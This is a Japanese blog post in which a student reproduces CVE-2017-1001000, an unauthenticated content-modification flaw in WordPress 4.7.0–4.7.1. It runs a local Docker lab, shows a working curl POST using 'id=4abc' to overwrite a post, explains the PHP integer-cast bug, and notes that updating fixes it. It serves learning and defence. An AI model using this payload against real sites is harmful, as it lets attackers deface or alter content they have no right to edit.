CVE-2017-1001000
授業でCVE-2017-1001000の存在を知ったので、書く。
↓参考
WordPress 4.7.0-4.7.1 - Unauthenticated Page/Post Content Modification via REST API
編集権限のない投稿を編集できてしまうらしい。
「ほぇ~」ってなったのでローカルで検証してみる
環境構築
過去と同じように、docker-composeにWordPressをシュッとしてもらう。
今回は4.7.0-4.7.1
と書いてあるので、4.7.0を指定する
version: '3' services: db: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: wordpress MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpress wordpress: depends_on: - db image: wordpress:4.7.0 ports: - "8000:80" environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_PASSWORD: wordpress volumes: db_data:
↑をdocker-compose.ymlとして保存したらdocker-compose up
。
しばらく待てば http://localhost:8000 でWordPressの管理画面が開ける。
言語やサイトのタイトルなどをよしなに登録する。
デフォルトだとREST APIが無効になっているらしい。
設定 > パーマリンク設定 > 共通設定 を基本以外にするといいっぽいので、日付と投稿名にした。
適当な投稿をしたら準備完了。
hack
投稿を開いたときのURLは http://localhost:8000/?p=4 。投稿のIDは4だとわかる。
http://localhost:8000/wp-json/wp/v2/posts/4 にアクセスすると、自分の投稿がjsonで返ってくる。
ここでURLにid=1
というクエリを追加してみる。
http://localhost:8000/wp-json/wp/v2/posts/4?id=1
投稿id1のhello-world
のjsonが返ってきた。
URLのパスで指定された4
より、クエリ指定した1
が優先されていることがわかる。
そしてここで、CVE-2017-1001000の重要なポイントがでてくる。
idを4abc
などの数字+文字にしてみる。
http://localhost:8000/wp-json/wp/v2/posts/4?id=4abc
id=4の投稿が返ってきた。
ここに{"content": "hogehoge"}
みたいなことをPOSTすると投稿が上書きできるらしい。
curl -X POST -H "Content-Type: application/json" -d '{"content": "hacked by y0d3n"}' http://localhost:8000/wp-json/wp/v2/posts/4/?id=4abc
いろいろjsonで返ってきた。投稿をみてみると、日記の内容がhacked by y0d3n
になっている。
試しにid=4
にPOSTしてみたら、権限がないと言われた。
\u3053\u306E\u6295\u7A3F\u3092\u7DE8\u96C6\u3059\u308B\u6A29\u9650\u304C\u3042\u308A\u307E\u305B\u3093\u3002
この投稿を編集する権限がありません。
原因
/var/www/html/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php
の589行目にupdate_item_permissions_check
という関数がある。
<?php : public function update_item_permissions_check( $request ) { $post = get_post( $request['id'] ); $post_type = get_post_type_object( $this->post_type ); if ( $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) { return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update posts as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) ) { return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! $this->check_assign_terms_permission( $request ) ) { return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } :
編集権限がない投稿を編集しようとした際はSorry, you are not allowed to edit this post.
といったエラーを返すが、存在しない投稿を編集しようとした際はtrue
が返ってしまう。
その後、同ファイル622行目にupdate_item
という関数があり、そこでidがintにキャストされる。
<?php : public function update_item( $request ) { $id = (int) $request['id']; :
ここで重要なのが、PHPでは"4abc"
をintにキャストすると4
になってしまうということ。
update_item_permissions_check
「4abc
なんてないじゃん!権限チェックしないよ!」
update_item
「4abc
?intにしたら4
じゃん!」
そんなこんなで、id=4abc
に向けてPOSTすると編集されてしまう。
対応・対策
管理画面にアクセスするとアップデートの通知があるので、おとなしく更新しましょう。
更新後、再度POSTしてみたらしっかりと対策されていました。
\u7121\u52b9\u306a\u30d1\u30e9\u30e1\u30fc\u30bf\u30fc
無効なパラメーター
id \u306f integer \u30bf\u30a4\u30d7\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002
idはintegerタイプではありません。